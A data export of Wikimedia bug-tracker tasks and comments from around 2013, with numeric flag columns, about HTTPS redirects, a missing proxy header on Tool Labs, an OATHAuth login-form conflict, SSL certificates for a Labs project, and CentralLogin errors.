+**Severity**: normal",Needs Triage,90.0,1378208820,1378280142.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_description,declined,True,c2,3,False,False,True,0,True,1,0,0,0,1,1,0,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+234430,Google points to HTTP articles (where users cannot log in),"**winne2i** wrote:
+
+Gosh, it works today… I don't know why it didn't two previous times.
+Shame on it. Shame on me.
+Consider thus bug resolved. Thanks!",,,1378280142,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+234424,Google points to HTTP articles (where users cannot log in),"This bug is probably a duplicate of bug 51002, but the resolution of this one has non-trivial implications, see the on-going discussion on wikimedia-l <http://thread.gmane.org/gmane.org.wikimedia.foundation/68103>.
+
+If you are already connected to Wikipedia, you should be redirected from HTTP to HTTPS if you keep checked the preference ""Always use a secure connection when logged in"" (1st page of preferences). Do you really have this checkbox checked? (if no, disconnect and reconnect after checking.)",,,1378278927,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+55689,Tool Labs: Local webservice should know about HTTPS in original request,"See https://tools.wmflabs.org/liangent-php/detectProtocol.php/enwiki
+
+Feel free to move this bug to MediaWiki product if there's some reliable way to check so there while MediaWiki is unaware of it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=64627",Needs Triage,90.0,1378155000,1398826831.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-iztdhvta2ukuhruf37gl,task_description,resolved,True,c2,3,False,False,False,0,True,1,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+233510,Tool Labs: Local webservice should know about HTTPS in original request,Seems fixed,,,1398826759,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,35,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+233506,Tool Labs: Local webservice should know about HTTPS in original request,"Looks like this doesn't work anymore, may or may not be caused by tools being additionally proxied to tools-eqiad.
+
+https://tools.wmflabs.org/blankpages/_server.php
+
+    [HTTP_X_FORWARDED_PROTO] => http",,,1395022517,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,True,,,28,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+233501,Tool Labs: Local webservice should know about HTTPS in original request,"And indeed, it was.  The X-Forwarded-Proto header should now be present.",,,1386607467,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+233494,Tool Labs: Local webservice should know about HTTPS in original request,Hm; that should be simple enough actually.  Lemme see what I can do.,,,1386604405,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+233487,Tool Labs: Local webservice should know about HTTPS in original request,"Is it possible to configure the proxy to add X-Forwarded-Proto, like http://www.geekisp.com/faq/6_65_en.html ?",,,1386603359,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+233479,Tool Labs: Local webservice should know about HTTPS in original request,"Ah, interesting.  The communication between the proxy and the internal webservers currently occur through HTTP over the (virtual) network (with the proxy taking care of encryption) -- it's not immediately clear to me how this could be hidden from the application.",,,1378156940,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+233472,Tool Labs: Local webservice should know about HTTPS in original request,(Consequently this causes a redirect loop in MediaWiki installations on Tool-Lab with $wgSecureLogin = true; and this is why I spotted it),,,1378155765,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+55198,E:OATHAuth needs to be friendly with other authn extensions on the login page,"OATHAuth uses the following line to add the extra input to the login form:
+
+$template->set( 'extrafields', $input );
+
+This actually overwrites the extrafields parameter, so if there is any other extension that also adds fields to the login form, it will be overwritten.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1377142440,1399867263.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-g2ktztok7ffjl6cojgre,task_description,resolved,True,c2,2,False,False,False,-1,True,1,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+253719,E:OATHAuth needs to be friendly with other authn extensions on the login page,"Change 132776 merged by jenkins-bot:
+Make OAUTHAuth more friendly with other authnz extensions
+
+https://gerrit.wikimedia.org/r/132776",,,1399823824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g2ktztok7ffjl6cojgre,task_subcomment,,True,c2,3,False,,,36,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+253713,E:OATHAuth needs to be friendly with other authn extensions on the login page,"Change 132776 had a related patch set uploaded by Parent5446:
+Make OAUTHAuth more friendly with other authnz extensions
+
+https://gerrit.wikimedia.org/r/132776",,,1399796883,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g2ktztok7ffjl6cojgre,task_subcomment,,True,c2,3,False,,,36,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+55175,SSL certificate for ACC project (acc.wmflabs.org),"The ACC <https://en.wikipedia.orgg/wiki/WP:ACC> project is in the final stages of moving from the Toolserver to Wikimedia Labs, but since it requires HTTPS (to protect users' privacy) and is also its own Labs project (by necessity), it also requires its own valid SSL certificates.
+
+Thank you very much in advance!
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56927",Needs Triage,90.0,1377119040,1386536673.0,PHID-USER-q6nnw3r5axkpgj5uftsh,False,,False,PHID-TASK-nyb4iclh6jdmalyihgkk,task_description,resolved,True,c2,2,False,False,False,-1,True,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+252665,SSL certificate for ACC project (acc.wmflabs.org),https://acc.wmflabs.org/ appears to have working SSL now.,,,1386536673,,PHID-USER-7ggbl2sm3bxckkmp6uw3,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+252660,SSL certificate for ACC project (acc.wmflabs.org),We have a new proxy that handles dns and https. We're have a wikitech interface incoming for this in the next week or two.,,,1382214427,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+252656,SSL certificate for ACC project (acc.wmflabs.org),Any updates on this issue?  We're still waiting on this to perform the move from TS to Labs.,,,1382170701,,PHID-USER-q6nnw3r5axkpgj5uftsh,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,3,False,,,7,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+252652,SSL certificate for ACC project (acc.wmflabs.org),"If it's an ops managed proxy, let's just get a *.wmflabs.org/*.tools.wmflabs.org cert with a shortish (6 month?) expiry.",,,1377132898,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0
+252647,SSL certificate for ACC project (acc.wmflabs.org),"The certificate will be installed on an ops-managed proxy; so the ""usual"" process should apply.",,,1377123624,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0
+252641,SSL certificate for ACC project (acc.wmflabs.org),"Coren said to file this report, so I did.  :P",,,1377119629,,PHID-USER-q6nnw3r5axkpgj5uftsh,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+252630,SSL certificate for ACC project (acc.wmflabs.org),Noting we don't have a process for supplying/using SSL certs for labs projects...,,,1377119219,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+55144,HTTPS only Wikimedia problem for China Language related Wikipedias,"This bug is about the problem of HTTPS for languages of China (where HTTPS is blocked). I suggest not to discuss political implications here (and discuss it on the wikimedia-l mailing list) but only technical things.
+
+The bug/problem is largely known but I don’t think there is an open bug for that, so this is the case now; probably the resolution can be INVALID or WONTFIX because it is due to external factors, but it will serve to concentrate the discussion.
+
+This bug is related to bug 52846 about a similar problem in Iran, and resolution/discussions can be different although related.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52846",Needs Triage,90.0,1377070080,1377076211.0,PHID-USER-2nopae2cxuamwcbndaih,False,,False,PHID-TASK-ewbuemim6adiimcwdugy,task_description,invalid,True,c2,2,False,False,True,-1,True,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+250902,HTTPS only Wikimedia problem for China Language related Wikipedias,"> Can somebody tell me how this work and the what is the possible resolution?
+
+jingchaoye: Please discuss in the thread on wikitech-l@ mailing list or
+https://meta.wikimedia.org/wiki/Talk:HTTPS and be more specific about ""this"". Let's not triplicate everything that was already written and said here.",,,1377076300,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ewbuemim6adiimcwdugy,task_subcomment,,True,c2,2,True,,,-1,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,1,0,0
+250893,HTTPS only Wikimedia problem for China Language related Wikipedias,"(In reply to comment #0)
+> This bug is about the problem of HTTPS for languages of China (where HTTPS is
+> blocked). I suggest not to discuss political implications here (and discuss
+> it on the wikimedia-l mailing list) but only technical things.
+
+You forgot to describe ""the bug"" or bring up any ""technical things"" in your initial comment. Also see https://www.mediawiki.org/wiki/How_to_report_a_bug
+
+The discussion really will not profit from yet another place to discuss, besides already existing wikitech-l mailing list and https://meta.wikimedia.org/wiki/Talk:HTTPS especially as the situation in China has always been part of the discussion from the very beginning (in contrast to Iran which was brought up in bug 52846).",,,1377076211,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ewbuemim6adiimcwdugy,task_subcomment,,True,c2,2,True,,,-1,True,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+250881,HTTPS only Wikimedia problem for China Language related Wikipedias,"**jingchaoye** wrote:
+
+these language may lose its native speaker if Https is used. 
+(In reply to comment #1)
+> According to
+> https://meta.wikimedia.org/w/index.php?title=Talk:
+> HTTPS&oldid=5733512#List_of_Chinese_Wikipedia
+> the list of Wikimedia projects whose languages are spoken in China is:
+> * Standard Chinese (zh)
+> * Classical Chinese (lzh)
+> * Wuu Chinese (wuu)
+> * Gan Chinese (gan)
+> * Hakka Chinese (hak)
+> * Cantonese (yue / zh-yue.wikipedia.org)
+> * Tibetan (bo)
+> * Minnan Chinese(nan / zh-min-nan.wikipedia.org)
+> * Mindong Chinese (cdo)
+> * Uyghur (ug)",,,1377075769,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ewbuemim6adiimcwdugy,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+250869,HTTPS only Wikimedia problem for China Language related Wikipedias,"**jingchaoye** wrote:
+
+Can somebody tell me how this work and the what is the possible resolution?",,,1377074726,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ewbuemim6adiimcwdugy,task_subcomment,,True,c2,2,False,,,-1,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0
+250862,HTTPS only Wikimedia problem for China Language related Wikipedias,"According to https://meta.wikimedia.org/w/index.php?title=Talk:HTTPS&oldid=5733512#List_of_Chinese_Wikipedia the list of Wikimedia projects whose languages are spoken in China is:
+* Standard Chinese (zh)
+* Classical Chinese (lzh)
+* Wuu Chinese (wuu)
+* Gan Chinese (gan)
+* Hakka Chinese (hak)
+* Cantonese (yue / zh-yue.wikipedia.org)
+* Tibetan (bo)
+* Minnan Chinese(nan / zh-min-nan.wikipedia.org)
+* Mindong Chinese (cdo)
+* Uyghur (ug)",,,1377070410,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-ewbuemim6adiimcwdugy,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+55080,no login error messages on http://commons.wikipedia.beta.wmflabs.org/,"Attempt to login on beta commons with improper credentials. 
+
+Messages like ""Login error/There is no user by the name ""asfdasfa"""" do not appear. 
+
+Such messages do appear on http://commons.wikipedia.beta.wmflabs.org/
+
+Note: this may be because http://commons.wikipedia.beta.wmflabs.org/ redirects to http://commons.wikimedia.beta.wmflabs.org/
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1376955600,1377115058.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-tfg4qrkl4fjjuyzop3ck,task_description,declined,True,c2,2,False,False,True,-2,True,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+247362,no login error messages on http://commons.wikipedia.beta.wmflabs.org/,"works for me now, I'm not sure why though",,,1377115058,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tfg4qrkl4fjjuyzop3ck,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+247357,no login error messages on http://commons.wikipedia.beta.wmflabs.org/,"I can't reproduce.
+
+Yes, http://commons.wikipedia.beta.wmflabs.org/ redirects to https://commons.wikimedia.beta.wmflabs.org/wiki/Main_Page but logging in (https://commons.wikimedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Main+Page) do show the message «There is no user by the name ""Foo"". Check your spelling, or go to Wikipedia's signup page to create a new user account. »
+
+[the link sends you to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup, which is wrong, though]",,,1377087964,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tfg4qrkl4fjjuyzop3ck,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+54949,"Use ""https:"" on keywords description","Please, replace the ocurrences of ""http:"" by ""https:"" at
+https://bugzilla.wikimedia.org/describekeywords.cgi
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement
+**URL**: https://bugzilla.wikimedia.org/describekeywords.cgi",Needs Triage,90.0,1376698320,1376734943.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-ukbfopq54yyqxxzqzxub,task_description,resolved,True,c2,2,False,False,True,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+239622,"Use ""https:"" on keywords description",Done. Thanks!,,,1376734943,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ukbfopq54yyqxxzqzxub,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239617,"Use ""https:"" on keywords description","It seems some the descriptions contain clickable links, while others don't. It'd also be nice to have all clickable links.",,,1376715410,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ukbfopq54yyqxxzqzxub,task_subcomment,,True,c2,2,True,,,-2,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+54568,login to enwiki displayed a wikimediafoundation.org CentralLogin failure,"On a test browser instance I visited https://en.wikipedia.org, and clicked Log in. I used a WMF test account (SpageTest AC 0618-1) that I probably hadn't used since June.
+
+Login displayed an unexpected failure from http://wikimediafoundation.org/wiki/Special:CentralLogin/start?token=TokenHereBlahblah , ""No such special page"".  I was actually logged in to enwiki.  Note the URL above is CentralLogin/start, not CentralAutoLogin/start, I think I copied and pasted it from the browser location bar.
+
+I logged out and repeated the login, with Firebug active.  This time I logged in fine. There was still a 404 in the Net tab but it didn't display as a failure and it was from  http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikisource&type=1x1&from=enwiki
+
+I logged out, cleared my cookies, and went back to enwiki and logged in; this time there were no requests to wikimediafoundation.org
+
+Maybe this is a remnant of some old-style login cookies.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: minor",Needs Triage,90.0,1375750980,1375751957.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-xgwjosqhvtrun47ibokp,task_description,resolved,True,c2,2,False,False,True,-4,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+241691,login to enwiki displayed a wikimediafoundation.org CentralLogin failure,"I filed this as a Wikimedia config bug, but now I see bug 52206 describes the same scenario.
+
+*** This bug has been marked as a duplicate of bug 52206 ***",,,1375751957,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-xgwjosqhvtrun47ibokp,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+54481,OAuth can't validate http parameters with spaces in the name,"MediaWiki appears to normalize spaces in names to _, before extensions are able to read the original names.
+
+--------------------------
+**Version**: unspecified
